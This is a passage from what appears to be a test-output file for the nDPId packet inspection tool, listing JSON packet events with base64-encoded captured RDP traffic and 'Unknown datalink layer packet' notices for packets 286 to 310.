packet","thread_id":0,"packet_id":286,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":287,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":136358,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/K5HmvU5UBAf\/BBNAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":287,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":288,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":136752,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgCkAAfwYkzcCoAo6sEAK5DT3NDkea9Tn5vPyuUBD3LOGDAAAXAwMGbwAAAAAAAABOJyUUqJbRjJhLMYk32dAHjOKqPuHwvwUre69Aiz0p0+t+lXlzRuKC9l9alE90v+Y9t7KtbWaxd4Ti9OPfeQt0TOUH\/bS8hVv83pLkePcgwZOH7Lh6cDVOWpXxezbI8LBkw05sGh8IWIwqbg2y\/cCt6OXeIjatdp0sIBAPNhSWYWXBlfhUalqZc10QgmQiiAi7TxT76TKBOVlEWm714PJI\/+I6G1hs2jnmaHUjc2ArtERqm7+JfjVLLMUoFDdt4Xyu1YTIU\/MlDlySPRDE766sMSwPqHS+kO5VtaSZB+eG3o8XIxbElnyLczvSqhzlvfrPpMaOKnL0dXlDZYHsYIo1QfmjJ2WZQP\/FQ11uhBUUyJJKpMG7DAeKxIS5FLwYdee0J4+otyEFtocFPMnvq29YUguLzRGzZCoKT8cn399NYsNWTbO3dHNkWTdfHN0MTM+SHGFBppIqMJdQuq2QBhtFaCoaj7gFJEmOs5vM+woBUagF5iU4bC7Xk7u4RQyin+urSfaRN9Uc8RVXA5Agly3SGjamobEo0T5FxPxpGzAyJ3rUIoeUFOucgJiUDpA9PDJScaB0M089gLJt1+O6CUrS4\/xxLAwlrExsLCOup4iT+e+mNUNEw5bBjdk1UF27E55YtyyCN3Y8qg9kngUp3Kp3Cpa21OI+JS26spuX6nNK2JVmdcz\/ETPeDMMuWIsX1JZQSZ\/mCNKJ3gqkj8XpVAKYYIRQ9alwclJ172g0NyHz02+mbFMfX+gYTDb\/VNyeKF3EaZqZaO+xI8rBwCrqLxg62ym9hRq4wZP\/odQ1X2TdqNznrMU25iAMfk7awS\/SmAk2gsmVu\/MhArMKiM88aPZs9NIFUCkDiLYgj2bi0mOrXWFj38J3ZVn4xzp\/Fkv9p2chDxBwdTEJNeWwZpfBH8eKdSPD2Hr4gBeeJuzbGnXH\/72pH+jTlxuRhfxIBSpuc1sl8\/ElF2h7thBHHHC4d4mVqckyNsLaeAUmsie5OCamDA9Qlr3TrQfWNjTZ4qU1hbKiMWc3+3CixbG4GxTKLFOBPf7U6ZDgQzvCRjm\/gKd7RV9dKJgiJct+BjKT1jbm2F9qwvvKj6eoqvLGqTcqbaneHqAUaK\/jDZE9Piwfs8CTaDQicQPAmGGzy0dHa7ss0vPWC8NL\/jDOLJZlAAUXhxcuq\/4AfeLB4f+rOUTNJNkTmYm06ei5EM+pIhsfc7OKW9XnGWNZZqwhb8e9b7UYnkIY3M+t1anRlLENoT327zS7QkbEgnkJ9kXu+xAJrPRzbA4H+DuWj+QDjDTSpzMPBuuVZ7FGhFU1f7duQq5dJbho6VehDgKoe0kTVze\/r5xrxQHLW3Vx1q\/k6fFnfRlLPL3CnKVVFY2\/BkU+489QTsYdxF1I\/6KiOqEmXK\/XxGlRXUG7B7BpSxR7ZimlzbV1CQkCvrC7AiURJljOfIfg8AzaZgRdjwRB+deukzjbtzoEkLptt7y3s+fSv1kSnaUZMsy3yE6ZVwjo15JhblmcVXzdQ4HOPsiG1pBWbkzFCaXujYpGqJNKyCJB7iHSO+mfwB5agCOl8WOWd0h12jhTAPiM7A1AE681TT6OB2jxaek6Tw1VEmBNeyypyp+A\/qSyjGdkudZqzo0jcRS0LmNTG33WAgwgbtmiXOBoCwnIucXi2Na+SowahMaLEs\/sR\/iu"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":288,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":289,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":136796,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgC0AAfwYoSsCoAo6sEAK5DT3NDkea+jL5vPyuUBj3LDXOAADBCE\/XyXZaDUECNhigxwi2ItwkzTdotRPuW5Y90yAsoYECZ0CF+NOX\/ORhHSIfzNzuIDngPMkRuUcubBEXDlil2gasMA1r6hhF1s+OFmDE8FXv4lKSx1GhoqSPLaQ131Gn9wXZ3l5omlLqlJEVUm3rkkvrIB2BbBFHuSdUnBFTsZWYQ7X5ebU8s8pr0ur1JM1jLmGz42FaUN7z4H9JgL5LOTL6vR9Wum76dJpXfeJffiMAl9VJfFskBQSu0r07UE4d\/JO2ACgr81fkMr\/8qwg\/5ITv2eC0wUr2i0Vq0IXd1uB9eJd8\/WMkGtOviUgOOiSwNUGc9cDAlNgiXbw3V0hs4f\/hn9Pe5HNm+qgX2LwHpYDvUysBlAPRq\/e1AfOaL98aQAQMsmLJLNOrxRHjvJGEJ77nQ6kA7PhNF2TYGKxpPfJsOG3uTYpYneBbr53YRtgUcALOMrtr2WTXhGwTHJeaHFdItVohY7LDfbbWdPZAnw+xRZDjsdJj9fiE"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":289,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":290,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":136816,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/K5HmvU5UBggANWuAAAXAwMAMOAIO32NJwuUVwLywjbo3rswOWlt2p7i3xlvubib2dSkRFKBNcJjni5sF0eYAFDRXw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":290,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":291,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137020,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gDEAAfwYpj8CoAo6sEAK5DT3NDkea+635vPyuUBj3LAVAAAAXAwMAMAAAAAAAAABPud6oPSIYl\/ndZQp18JJj6sZRD3kkZIKKKkjUgbc0+znmrWBkk57Gag=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":291,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":292,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137043,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/ONHmvutUBAf9AmsAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":292,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":293,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137196,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/ONHmvviUBAf\/gltAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":293,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":294,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137437,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgDUAAfwYkysCoAo6sEAK5DT3NDkea++L5vPyuUBD3LMU9AAAXAwMGbwAAAAAAAABQ1Jly3NsoR+VL9gawZz7jDKZcfPy3nPawZiSBkIXU7Y8ePGkRwsCGiOiVfFUtEgWbd3KPIBwdFEp9kIhnhchFjkThFxsHNnj6lfefAF0NRovinvU477qlQhuNDFf6AZzyh9uPGwgZtihVnfql3wCeBXwFl9OOFWsHuI5K834WGeWBZBX7LqfJo7c+d+0s\/cYpDKC+oVv\/yFNwNcYrxqMinQFgk2Wx6TjjPmmw054FkS02ziv14m6L71dVZmPhgkWyfIbBiVZjJZFFHPVTLkzsDVSTk7EJYzKI3X4oX2JtCYnWygaj0jVOHm1R60i\/gw48O8J2836yrqKcZJEY\/DRbipOKe8VjzSX4UeRJ6hjDDgOpReAjAV1SbX6r6fw\/y\/kRa6xehHXtlMyQl9TUTG\/wx5NidnFTqd\/RSyUGDIpamrVtf\/r0SDGtTU322+C1oz9kFkPALbgMCgIpT8vBLeTw8zCfepAOZUOkxyqk9W1q5e2k2MxD\/yYqkW+AHQdT945Y8ddtl9COtW0ANlcorSnn+2rrqhSFD+yIa9bOxhU6Y4EwrmVJXbGmGSYeNn5WFnn0fEh6PRoRUn+MbqEfyXNCb7XQEVHFZksKmVwJLJ3aanAmjDfYQUKEqdYD7iSnbsI3Ya0mbpY5aN7yQGW1dLLOH8pQ0rhCWGtOBsOUOHG3qeYWa7Kh9dO4DtIH2xY5oXy0hfuET+X0N7d3Gm1QVjg5T1U6Z\/B2fopkz8S5kVDuUu1XGAcI7DdBEkmwbdgEzsXLJ+xFshic0e\/XJRrlAUm+DRbN77W3Mq8yIcsRzeeNk9WFy7S+UV881bWJXyWKgvpDkdNeLfLIZuUnoXC2azGhAVsJyW9VHFCxNKtyL041Fu8TwHmfYuQA84WnFYPmgvaOvGijbqaKvXbSUgqr1h3kdvYIhrGxVU+yKNXjswOjkU\/4XEnRgX7F\/\/HvJrWvCI98G3w064APSfCRok3eIGB\/Uv+1PtAeNDtSSX+nTul2IP+T0VusQczrWWrwj4Qr2U5UlwjSe\/IZU7PpRYJWs\/DLlgFQg0J6xirfcd0BSaudVDSjEMgVjBcTbKJLjtuNAecPw+0g4AGnhimeiA50fznvAOUc9sHtrGDuciG2wIVF9EmkiJGc1ZVKIaZMxzK84gvAW7HYMlTOTi0SWQ51A3zoHPgA8X15GSoUDXWoLezJBkbzRiN2D0R0G8m2mjYBp+ja9m2NAs1wJxCeD17Z0KNdzBv1TJnBfLzMmhlillQWaWnafzv3mk7PGDkCpAxS+2yYgpLVVSMxsAgXje96FWnyCLjP49Cd+nz8a4TOlF6VrOUjZwVENqEU0hMK0Y4ML40T1TlbNYPWJ+xy9ggcUmTAzjmDnJXisMyax1K7oO3CKEfUbiC2yJXfc6NadXjRK7cqQEo1WeCrjz29aDdepNcMFNuP9fOl8M5ib9EDgDpy1HqI3KK3XCIivdKXYaRJi1l8uxpethUcZpXpb1Uidc\/NIDHZXAdJJTP1FJUo3wAiiqhWbOwwCdYEvYI23bl5qlKyrfbTG432VQfw+wnEZjsGksfl4isDwM6zgAHihQmt4pENmlo0+AE3yLpBgBVCLdk0\/snZ4qktqVeBJ2ng\/6u9tmJAz57dziyXMfk6ti6S3SJZDnxukAGfrno8bE\/DOS\/MVEz9ovbK5axXqbyE"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":294,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":295,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137496,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgDkAAfwYoR8CoAo6sEAK5DT3NDkebANv5vPyuUBj3LCz7AAC58LF9StzKuni2YBLeRh+HmseQr1FWckszjgseqMiKXR1k6OJGJTN\/lRfeR0fSkbMo\/DUPcOb6Ylvx\/I1xrr4n82tqo1L5NNWOipolzMFK5ZaS4\/qk420uOzkyiMy\/fYLXY1n3ikK\/y\/DJ7fvWElVS\/xlOs3SLm\/ZVJ3bvkUiqB631IYSqAzhkxe3jMXqs4Hep7QUGiQNuDWmlP5e0ZCGgsRX6fn5TAD75rpqI+TXde7y9NUjv7ZCIlScBS8zqRdNuMVueTkM3q4PbbNceFZzDodPl59xFba4mRhm7Rj+nbhphvTvn1EDgvFqMpv9LAVeAa0cDC1JpGaBRffjgGta1fE9EX5OXTKg3+oy5zq5XtvKtc8rujF3CJT3ZY7bDamaekfv7HnqxfJ6EVKJhfKj\/t47QE1YieV3Jo5l9KKqxYlXRTtP6yDVsXrG1LDwVsJj4A\/k50oNUVJansS33wkN5a7rtE0k6Qt7r91ngzcNFBU9eJq+OhZ8T0Elz"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":295,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":296,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137594,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/ONHmvviUBggAOqtAAAXAwMAMOAIO32NJwuVVpK4UKIAuoHb7JEh+RNEtxx+7J\/ShL08DfwELD++beCHTtGvWUSnaQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":296,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":297,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137767,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gD0AAfwYpjMCoAo6sEAK5DT3NDkebAlb5vPyuUBj3LHNvAAAXAwMAMAAAAAAAAABRyflFNTDpSmgxmpq9Epx\/lsKJY7RgGtmihVHfK9ySxvt\/wdqFdYMuQA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":297,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":298,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":137862,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/RhHmwJWUBAf9ALOAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":298,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":299,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":138031,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/RhHmwKLUBAf\/gKPAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":299,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01967{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":300,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":138182,"pkt_caplen":1236,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1236,"pkt_l4_len":0,"pkt":"AgAAAEUABNBgEEAAfwYlGMCoAo6sEAK5DT3NDkebAov5vPyuUBj3LEXLAAAXAwMEowAAAAAAAABS8+JJuxmLl9ew5zitNcErbCTH4oaaNbnW8iw44Okmu6QQyS2\/spmvczJcNinAkWykvf1vVf8uRTeKouo+15pjTU\/2Blgjx3dtil993fSVSiUIpZUnGEweyLC\/rqISIWPmW5+qF4rO\/5+fqplw+2WtYmPu+pJHqErqrGo1azYFTjTtBsEwKHF8EKGsVmwUR46PsIpQefgKybapgsx\/1678i9krqasjGXQSGkYFfSX3ORLAkPdXP14LCdikKPTIfSejdTMPtSQAH6nlE2hvJaI7uyLWdqxbhdaTnun7+zxMfPRGq3ZmpGOjm+YyyTKFE5gYaeVBQLYPtZgOe6zOo7GopFOpGJcT6cbOJ34iFIDUJUw6ACYPIM6iuajUa4RgSZMyWBq8KQ\/8YaFR23bkPXyK5xt3p9fKEupnJgqS1drdsk\/9Go7s4J8PzrU5he\/1hFJwwc8gMqilpA6gcQvEm3rOHXN\/wqMQutTXmwF3hBW+EuNYuSrLcFAGA67FlVo0sAbBwElV2ZQ4SM8VYW+VCn9W6py17khZOEC43Q6R5ZJ5cTqf\/T1kowLsmhedxlTQ4zOAjI3ZDZ1FF1pyvxWII+JxLkllNfmR6c3aNFPCamv+9b0t+y5EY54omBK3QtQJSfMUtO44kzyXTCy5\/ND5vxzZuC61117FG+WG5JGnTD9P3JrG9k6iszXIzck4gspgrEHsqCBvKmkLjXR+0cjmAEaTmdndIJf+ehTJ3itzGVJN\/NTmvlu1m1eRJawtmBEUGUNhFEJNwYuUtIxLW2IQCrt9EfXuK5WJ\/JW9VY8eraVotFU7SdCLvqLH27ZC2Um7y+skPCVws7zMvRCmvupX4o5hhALcPFzAlaS2xqXIw350yYc4+V7mcE8bIicz\/4aB7jJBvD9Q\/BCnjHCtkoPxQ2moA9XaRC1M28s\/IF3xhKA+NzSwOYdRolC20zxo8YHm0HL3DBHU\/Uy0467teFm5MnVNFbVtqCXvVhRvhttS0txKJKREOxfLPWdA3\/Fj+myK2lQsMBWXXllkpPYvNgFwgUmvz7+fEnEAAXqKikcJz6eVOBJmKtyYbtxtJP+xaStchstvltYHiH6PyjtujRv\/VTslWFV4BkvTvXoGJ6unSaOngQwivOaRcMWTEpjh5QLnFy9kRC8js69m0454G+0fJWeuH2WkVrwCnkDr8ua5WBlmLcMojD9ctXxNHRfmK86c+d7Hdd\/Q3ap5n4oxwhPpPjDkNmOS9OWl9W5bUw9sn4vehU8eHDBoPiw2yZwTU2aJeBZyMJtljmFlugD5HJwxGf5pWlYKn2lxHlMxaMxGe3iJ\/IgEkYooNJCo8ba8wX7e03aumsEAMSGJj9VDj+XUzSb8R+4u\/xdCQKrDhB79pRVdv1v2LhPVFvPHEsPEkm8fmZLBrGVxJQEJwLvnsY3N9tJ1Kl7Oayjz9kZfIReS5Rf7BJfuVHuJRqh1MZ6GiO09naOU0I+zTFXmAxaJVFNv5x09inF9nkz\/orohhL\/Cq3TRTPbL\/8wpr2YNb3uZnkGxExMSjP++WWiYsIbEwytxXc6J9G9DXGjnj0FqGG1q"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":300,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":301,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":138317,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/RhHmwKLUBggAL25AAAXAwMAMOAIO32NJwuW4RALENWjp5l+4pTXJQw2Tud99jHyQLf1VsXufufJ+1SXYKWHermeWA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":301,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":302,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":138460,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/U1HmwczUBAf2v3VAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":302,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00960{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":303,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":175980,"pkt_caplen":494,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":494,"pkt_l4_len":0,"pkt":"AgAAAEUAAepgEUAAfwYn\/cCoAo6sEAK5DT3NDkebBzP5vPyuUBj3LJVeAAAXAwMBvQAAAAAAAABTsrIBEWEXDddCcf1iORRdRGFRHtLA7fAUvJFdMLzn+UEawdle4EUVgaSKB1nCOGFPIe0S0z1liY30oUdWpMXgatK0dfU2X8FdhlnWImWx5jmPab7KhN79t7y4Wn3Ph52BskNKGb91xNpAvw9CG8bfXhVjIhq2mbaR8LfSRAUbnGkfFwgGHom7PrgIb3wqczFJQQ6lJ7EVC27nTNoYIVwaudzv7Ag\/p1BX5Z0uC4xRE3W7JtSCUGdBVy7IHJrSCa0uv3afLj4Xl+5Qxn\/L2YmiYS0Vu2\/IEN1csrvXD2AAxzvWTSnmXsYkBPtr06MZc3ENz85eKYYVEk9XAhNfJ9l1Tql6gZzYKcM5LbcQKjqKoBIX5ead2ZB1AU8m6P98wg\/23ji3gbano\/uhYcjF8nToYYOCv9iG18fc9duB6UYuZzWfK1pVI3BU9O8TjW2xrilk3\/\/huI7QSVOPIwZkFaEnSTjfFSQxPW4gBfCh8TwYr7L5LzgyBsJOrQq99iUJ6P9ckpTcTrq0CCXMKSGQpRyfUlNqexXa5IrAJKt1mxewrwVENre5yDGJeVTZRDKWuU5g+cOXNG8="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":303,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":304,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":176009,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gEkAAfwYpicCoAo6sEAK5DT3NDkebCPX5vPyuUBj3LN2PAAAXAwMAMAAAAAAAAABUz0TkKInZexAt4z3lYzqrzucQUMYeFF4otgO2RZq09G6Qpv0aHycAFw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":304,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":305,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":176031,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/U1Hmwj1UBAf8fv8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":305,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":306,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":176125,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/U1HmwkqUBAf8PvIAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":306,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":307,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":181653,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm8\/U1HmwkqUBggAMWsAAAXAwMAROAIO32NJwuXlpHxIAM3dI8nGUlLjdrxZAbCE1taWW5cLLPia9YWSvI9o22z8u1MdBlz1sb1M0RS5kG19rnFfiJNwcsf"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":307,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":308,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":181909,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8\/ZZHmwkqUBggAGMeAAAXAwMAOOAIO32NJwuYj50j3RzUjsWd392OVJaTVif5ogMgpPpa0wNevBzuoffh4xbkGa2sD7IIGTJ0ur50"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":308,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":309,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":182056,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm8\/dNHmwkqUBggANG8AAAXAwMAROAIO32NJwuZdbBJ9ffw8F4ulIerqQuHfT\/8fiIYTRQXwFfshHOpKEKsbv2gIIpX0zNOPBlnounp2pGxcojy0YuVf0wX"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":309,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":310,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":217268,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgE0AAfwYpvcCoAo6sEAK5DT3NDkebCSr5vP0YUBD2wiUrAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":310,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 